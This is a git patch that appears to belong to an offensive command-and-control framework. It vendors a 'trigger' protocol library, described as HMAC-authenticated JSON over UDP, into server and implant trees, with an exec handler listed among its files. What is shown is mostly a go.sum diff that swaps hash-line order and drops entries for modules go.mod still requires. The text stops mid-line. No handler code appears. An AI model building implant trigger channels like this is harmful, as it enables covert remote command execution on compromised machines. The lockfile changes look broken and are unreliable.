From 2a82a385d5afe7f4ba1d8e2d6a7ccc696ea6f62b Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:52:30 -0400 Subject: [PATCH 1/7] vendor: add github.com/0x90pkt/trigger protocol library Adds the trigger wire protocol library (HMAC-SHA256 authenticated JSON-over-UDP) to both server and implant vendor trees. Includes TriggerMessage, TriggerResponse types, canonical JSON signing, response encode/decode/verify, replay cache, rate limiter, and audit sink. Server vendor includes the full listener + handler framework; implant vendor includes only the protocol package (minimal footprint). --- go.mod | 1 + go.sum | 1066 +++++++++-------- implant/go-mod | 1 + implant/go-sum | 2 + .../vendor/github.com/0x90pkt/trigger/LICENSE | 674 +++++++++++ .../0x90pkt/trigger/pkg/protocol/protocol.go | 327 +++++ implant/vendor/modules.txt | 3 + vendor/github.com/0x90pkt/trigger/LICENSE | 674 +++++++++++ .../0x90pkt/trigger/pkg/auth/cidr.go | 85 ++ .../0x90pkt/trigger/pkg/auth/keyring.go | 112 ++ .../trigger/pkg/intents/handlers/exec.go | 237 ++++ .../trigger/pkg/intents/handlers/noop.go | 40 + .../trigger/pkg/intents/handlers/webhook.go | 211 ++++ .../0x90pkt/trigger/pkg/intents/intents.go | 115 ++ .../0x90pkt/trigger/pkg/listener/audit.go | 120 ++ .../0x90pkt/trigger/pkg/listener/listener.go | 634 ++++++++++ .../0x90pkt/trigger/pkg/listener/ratelimit.go | 125 ++ .../0x90pkt/trigger/pkg/listener/replay.go | 71 ++ .../0x90pkt/trigger/pkg/protocol/protocol.go | 327 +++++ vendor/modules.txt | 7 + 20 files changed, 4304 insertions(+), 528 deletions(-) create mode 100644 implant/vendor/github.com/0x90pkt/trigger/LICENSE create mode 100644 implant/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go create mode 100644 vendor/github.com/0x90pkt/trigger/LICENSE create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/auth/cidr.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/auth/keyring.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/exec.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/noop.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/webhook.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/intents/intents.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/listener/audit.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/listener/listener.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/listener/ratelimit.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/listener/replay.go create mode 100644 vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go diff --git a/go.mod b/go.mod index 41c844909d..4633aab4fc 100644 --- a/go.mod +++ b/go.mod @@ -14,6 +14,7 @@ require ( charm.land/huh/v2 v2.0.3 charm.land/lipgloss/v2 v2.0.2 filippo.io/age v1.3.1 + github.com/0x90pkt/trigger v0.1.0 github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 diff --git a/go.sum b/go.sum index 2e7281fecc..d1e550ec8c 100644 --- a/go.sum +++ b/go.sum @@ -1,392 +1,357 @@ -9fans.net/go v0.0.8-0.20250307142834-96bdba94b63f h1:1C7nZuxUMNz7eiQALRfiqNOm04+m3edWlRff/BYHf0Q= 9fans.net/go v0.0.8-0.20250307142834-96bdba94b63f/go.mod h1:hHyrZRryGqVdqrknjq5OWDLGCTJ2NeEvtrpR96mjraM= -c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAwLGRZ+sebTUruuM4Ra3M= +9fans.net/go v0.0.8-0.20250307142834-96bdba94b63f h1:1C7nZuxUMNz7eiQALRfiqNOm04+m3edWlRff/BYHf0Q= c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd/go.mod h1:SrHC2C7r5GkDk8R+NFVzYy/sdj0Ypg9htaPXQq5Cqeo= -cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4= +c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAwLGRZ+sebTUruuM4Ra3M= cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4= -charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s= +cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4= charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI= -charm.land/bubbletea/v2 v2.0.2 h1:4CRtRnuZOdFDTWSff9r8QFt/9+z6Emubz3aDMnf/dx0= +charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s= charm.land/bubbletea/v2 v2.0.2/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ= -charm.land/glamour/v2 v2.0.0 h1:IDBoqLEy7Hdpb9VOXN+khLP/XSxtJy1VsHuW/yF87+U= +charm.land/bubbletea/v2 v2.0.2 h1:4CRtRnuZOdFDTWSff9r8QFt/9+z6Emubz3aDMnf/dx0= charm.land/glamour/v2 v2.0.0/go.mod h1:kjq9WB0s8vuUYZNYey2jp4Lgd9f4cKdzAw88FZtpj/w= -charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU= +charm.land/glamour/v2 v2.0.0 h1:IDBoqLEy7Hdpb9VOXN+khLP/XSxtJy1VsHuW/yF87+U= charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc= -charm.land/lipgloss/v2 v2.0.2 h1:xFolbF8JdpNkM2cEPTfXEcW1p6NRzOWTSamRfYEw8cs= +charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU= charm.land/lipgloss/v2 v2.0.2/go.mod h1:KjPle2Qd3YmvP1KL5OMHiHysGcNwq6u83MUjYkFvEkM= -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE= -cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU= -cloud.google.com/go/auth v0.18.2 h1:+Nbt5Ev0xEqxlNjd6c+yYUeosQ5TtEUaNcN/3FozlaM= -cloud.google.com/go/auth v0.18.2/go.mod h1:xD+oY7gcahcu7G2SG2DsBerfFxgPAJz17zz2joOFF3M= -cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIiLpZnkHRbnc= +charm.land/lipgloss/v2 v2.0.2 h1:xFolbF8JdpNkM2cEPTfXEcW1p6NRzOWTSamRfYEw8cs= cloud.google.com/go/auth/oauth2adapt v0.2.8/go.mod h1:XQ9y31RkqZCcwJWNSx2Xvric3RrU88hAYYbjDWYDL+c= -cloud.google.com/go/compute/metadata v0.9.0 h1:pDUj4QMoPejqq20dK0Pg2N4yG9zIkYGdBtwLoEkH9Zs= +cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIiLpZnkHRbnc= +cloud.google.com/go/auth v0.18.2/go.mod h1:xD+oY7gcahcu7G2SG2DsBerfFxgPAJz17zz2joOFF3M= +cloud.google.com/go/auth v0.18.2 h1:+Nbt5Ev0xEqxlNjd6c+yYUeosQ5TtEUaNcN/3FozlaM= cloud.google.com/go/compute/metadata v0.9.0/go.mod h1:E0bWwX5wTnLPedCKqk3pJmVgCBSM6qQI1yTBdEb3C10= -cloud.google.com/go/firestore v1.21.0 h1:BhopUsx7kh6NFx77ccRsHhrtkbJUmDAxNY3uapWdjcM= +cloud.google.com/go/compute/metadata v0.9.0 h1:pDUj4QMoPejqq20dK0Pg2N4yG9zIkYGdBtwLoEkH9Zs= cloud.google.com/go/firestore v1.21.0/go.mod h1:1xH6HNcnkf/gGyR8udd6pFO4Z7GWJSwLKQMx/u6UrP4= -cloud.google.com/go/iam v1.5.3 h1:+vMINPiDF2ognBJ97ABAYYwRgsaqxPbQDlMnbHMjolc= +cloud.google.com/go/firestore v1.21.0 h1:BhopUsx7kh6NFx77ccRsHhrtkbJUmDAxNY3uapWdjcM= cloud.google.com/go/iam v1.5.3/go.mod h1:MR3v9oLkZCTlaqljW6Eb2d3HGDGK5/bDv93jhfISFvU= -cloud.google.com/go/logging v1.13.2 h1:qqlHCBvieJT9Cdq4QqYx1KPadCQ2noD4FK02eNqHAjA= +cloud.google.com/go/iam v1.5.3 h1:+vMINPiDF2ognBJ97ABAYYwRgsaqxPbQDlMnbHMjolc= cloud.google.com/go/logging v1.13.2/go.mod h1:zaybliM3yun1J8mU2dVQ1/qDzjbOqEijZCn6hSBtKak= -cloud.google.com/go/longrunning v0.8.0 h1:LiKK77J3bx5gDLi4SMViHixjD2ohlkwBi+mKA7EhfW8= +cloud.google.com/go/logging v1.13.2 h1:qqlHCBvieJT9Cdq4QqYx1KPadCQ2noD4FK02eNqHAjA= cloud.google.com/go/longrunning v0.8.0/go.mod h1:UmErU2Onzi+fKDg2gR7dusz11Pe26aknR4kHmJJqIfk= -cloud.google.com/go/monitoring v1.24.3 h1:dde+gMNc0UhPZD1Azu6at2e79bfdztVDS5lvhOdsgaE= +cloud.google.com/go/longrunning v0.8.0 h1:LiKK77J3bx5gDLi4SMViHixjD2ohlkwBi+mKA7EhfW8= cloud.google.com/go/monitoring v1.24.3/go.mod h1:nYP6W0tm3N9H/bOw8am7t62YTzZY+zUeQ+Bi6+2eonI= -cloud.google.com/go/storage v1.60.0 h1:oBfZrSOCimggVNz9Y/bXY35uUcts7OViubeddTTVzQ8= +cloud.google.com/go/monitoring v1.24.3 h1:dde+gMNc0UhPZD1Azu6at2e79bfdztVDS5lvhOdsgaE= cloud.google.com/go/storage v1.60.0/go.mod h1:q+5196hXfejkctrnx+VYU8RKQr/L3c0cBIlrjmiAKE0= -cloud.google.com/go/trace v1.11.7 h1:kDNDX8JkaAG3R2nq1lIdkb7FCSi1rCmsEtKVsty7p+U= +cloud.google.com/go/storage v1.60.0 h1:oBfZrSOCimggVNz9Y/bXY35uUcts7OViubeddTTVzQ8= cloud.google.com/go/trace v1.11.7/go.mod h1:TNn9d5V3fQVf6s4SCveVMIBS2LJUqo73GACmq/Tky0s= -filippo.io/age v1.3.1 h1:hbzdQOJkuaMEpRCLSN1/C5DX74RPcNCk6oqhKMXmZi0= +cloud.google.com/go/trace v1.11.7 h1:kDNDX8JkaAG3R2nq1lIdkb7FCSi1rCmsEtKVsty7p+U= +cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU= +cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE= +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= filippo.io/age v1.3.1/go.mod h1:EZorDTYUxt836i3zdori5IJX/v2Lj6kWFU0cfh6C0D4= -filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= +filippo.io/age v1.3.1 h1:hbzdQOJkuaMEpRCLSN1/C5DX74RPcNCk6oqhKMXmZi0= filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= -filippo.io/hpke v0.4.0 h1:p575VVQ6ted4pL+it6M00V/f2qTZITO0zgmdKCkd5+A= +filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= filippo.io/hpke v0.4.0/go.mod h1:EmAN849/P3qdeK+PCMkDpDm83vRHM5cDipBJ8xbQLVY= -filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc= +filippo.io/hpke v0.4.0 h1:p575VVQ6ted4pL+it6M00V/f2qTZITO0zgmdKCkd5+A= filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA= -firebase.google.com/go/v4 v4.18.0 h1:S+g0P72oDGqOaG4wlLErX3zQmU9plVdu7j+Bc3R1qFw= +filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc= firebase.google.com/go/v4 v4.18.0/go.mod h1:P7UfBpzc8+Z3MckX79+zsWzKVfpGryr6HLbAe7gCWfs= -github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg= -github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k= -github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= -github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= -github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw= -github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= -github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs= -github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM= -github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc= -github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs= -github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0 h1:DHa2U07rk8syqvCge0QIGMCE1WxGj9njT44GH7zNJLQ= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0/go.mod h1:P4WPRUkOhJC13W//jWpyfJNDAIpvRbAUIYLX/4jtlE0= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0 h1:UnDZ/zFfG1JhH/DqxIZYU/1CUAlTUScoXD/LcM2Ykk8= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0/go.mod h1:IA1C1U7jO/ENqm/vhi7V9YYpBsp+IMyqNrEN94N7tVc= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.55.0 h1:7t/qx5Ost0s0wbA/VDrByOooURhp+ikYwv20i9Y07TQ= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.55.0/go.mod h1:vB2GH9GAYYJTO3mEn8oYwzEdhlayZIdQz6zdzgUIRvA= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.55.0 h1:0s6TxfCu2KHkkZPnBfsQ2y5qia0jl3MMrmBhu3nCOYk= -github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.55.0/go.mod h1:Mf6O40IAyB9zR/1J8nGDDPirZQQPbYJni8Yisy7NTMc= -github.com/Jeffail/gabs v1.4.0 h1://5fYRRTq1edjfIrQGvdkcd22pkYUrHZ5YC/H2GJVAo= -github.com/Jeffail/gabs v1.4.0/go.mod h1:6xMvQMK4k33lb7GUUpaAPh6nKMmemQeg5d4gn7/bOXc= -github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ= -github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE= -github.com/MicahParks/keyfunc v1.9.0 h1:lhKd5xrFHLNOWrDc4Tyb/Q1AJ4LCzQ48GVJyVIID3+o= -github.com/MicahParks/keyfunc v1.9.0/go.mod h1:IdnCilugA0O/99dW+/MkvlyrsX8+L8+x95xuVNtM5jw= -github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= -github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= -github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= -github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= -github.com/PagerDuty/go-pagerduty v1.8.0 h1:MTFqTffIcAervB83U7Bx6HERzLbyaSPL/+oxH3zyluI= -github.com/PagerDuty/go-pagerduty v1.8.0/go.mod h1:nzIeAqyFSJAFkjWKvMzug0JtwDg+V+UoCWjFrfFH5mI= -github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48 h1:I4Uc+H5JgZ2o/o6AGz2fIQCf/pVio9mQDVffXkDVc24= -github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48/go.mod h1:rjP7sIipbZcagro/6TCk6X0ZeFT2eyudH5+fve/cbBA= -github.com/SherClockHolmes/webpush-go v1.4.0 h1:ocnzNKWN23T9nvHi6IfyrQjkIc0oJWv1B1pULsf9i3s= -github.com/SherClockHolmes/webpush-go v1.4.0/go.mod h1:XSq8pKX11vNV8MJEMwjrlTkxhAj1zKfxmyhdV7Pd6UA= -github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE= -github.com/VirusTotal/vt-go v1.0.1 h1:rj/qugIY8XNC6ogwOaeJAGCOsb3nmY63+yuDMtHOx0Q= -github.com/VirusTotal/vt-go v1.0.1/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE= -github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow= -github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4= +firebase.google.com/go/v4 v4.18.0 h1:S+g0P72oDGqOaG4wlLErX3zQmU9plVdu7j+Bc3R1qFw= +github.com/0x90pkt/trigger v0.1.0/go.mod h1:P6kTaE+2xHAOtQ0/FJL+diOQDClB6/p1RhUI5omEd3k= +github.com/0x90pkt/trigger v0.1.0 h1:JOxWdVME1+ASQPMen5oXuBW1m2bmz8oFlp2/I5RMFnY= github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= -github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A= github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw= -github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0= +github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A= github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k= -github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek= +github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0= github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s= -github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY= +github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek= github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o= -github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs= +github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY= github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4= -github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI= +github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs= github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= -github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk= +github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI= github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a/go.mod h1:SGnFV6hVsYE877CKEZ6tDNTjaSXYUk6QqoIK6PrAtcc= -github.com/alicebob/miniredis/v2 v2.30.0 h1:uA3uhDbCxfO9+DI/DuGeAMr9qI+noVWwGPNTFuKID5M= +github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk= github.com/alicebob/miniredis/v2 v2.30.0/go.mod h1:84TWKZlxYkfgMucPBf5SOQBYJceZeQRFIaQgNMiCX6Q= -github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= +github.com/alicebob/miniredis/v2 v2.30.0 h1:uA3uhDbCxfO9+DI/DuGeAMr9qI+noVWwGPNTFuKID5M= github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4= -github.com/appleboy/go-fcm v1.2.6 h1:TU5/+2QnmTNjWkHLe9hUB9EPJ5Bv+CegzTJI0qK0QgA= +github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= github.com/appleboy/go-fcm v1.2.6/go.mod h1:nvi8DgoMax8o6nwQYgO8pIXSX6iaQY7yDYvtwIGa6aI= -github.com/atc0005/go-teams-notify/v2 v2.14.0 h1:7N+xw+COnYANLREaAveQ65rsNQ12nIZJED9nMLyscCo= +github.com/appleboy/go-fcm v1.2.6 h1:TU5/+2QnmTNjWkHLe9hUB9EPJ5Bv+CegzTJI0qK0QgA= github.com/atc0005/go-teams-notify/v2 v2.14.0/go.mod h1:EECsWM2b0Hvoz7O+QdlsvyN2KCUOFQCGj8bUBXv3A3Q= -github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= +github.com/atc0005/go-teams-notify/v2 v2.14.0 h1:7N+xw+COnYANLREaAveQ65rsNQ12nIZJED9nMLyscCo= github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= -github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q= +github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI= -github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= +github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q= github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE= -github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA= -github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o= -github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs= +github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= github.com/aws/aws-sdk-go-v2/config v1.32.11/go.mod h1:twF11+6ps9aNRKEDimksp923o44w/Thk9+8YIlzWMmo= -github.com/aws/aws-sdk-go-v2/credentials v1.19.11 h1:NdV8cwCcAXrCWyxArt58BrvZJ9pZ9Fhf9w6Uh5W3Uyc= +github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs= github.com/aws/aws-sdk-go-v2/credentials v1.19.11/go.mod h1:30yY2zqkMPdrvxBqzI9xQCM+WrlrZKSOpSJEsylVU+8= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19 h1:INUvJxmhdEbVulJYHI061k4TVuS3jzzthNvjqvVvTKM= +github.com/aws/aws-sdk-go-v2/credentials v1.19.11 h1:NdV8cwCcAXrCWyxArt58BrvZJ9pZ9Fhf9w6Uh5W3Uyc= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19/go.mod h1:FpZN2QISLdEBWkayloda+sZjVJL+e9Gl0k1SyTgcswU= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.19 h1:/sECfyq2JTifMI2JPyZ4bdRN77zJmr6SrS1eL3augIA= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19 h1:INUvJxmhdEbVulJYHI061k4TVuS3jzzthNvjqvVvTKM= github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.19/go.mod h1:dMf8A5oAqr9/oxOfLkC/c2LU/uMcALP0Rgn2BD5LWn0= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.19 h1:AWeJMk33GTBf6J20XJe6qZoRSJo0WfUhsMdUKhoODXE= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.19 h1:/sECfyq2JTifMI2JPyZ4bdRN77zJmr6SrS1eL3augIA= github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.19/go.mod h1:+GWrYoaAsV7/4pNHpwh1kiNLXkKaSoppxQq9lbH8Ejw= -github.com/aws/aws-sdk-go-v2/internal/ini v1.8.5 h1:clHU5fm//kWS1C2HgtgWxfQbFbx4b6rx+5jzhgX9HrI= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.19 h1:AWeJMk33GTBf6J20XJe6qZoRSJo0WfUhsMdUKhoODXE= github.com/aws/aws-sdk-go-v2/internal/ini v1.8.5/go.mod h1:O3h0IK87yXci+kg6flUKzJnWeziQUKciKrLjcatSNcY= -github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.6 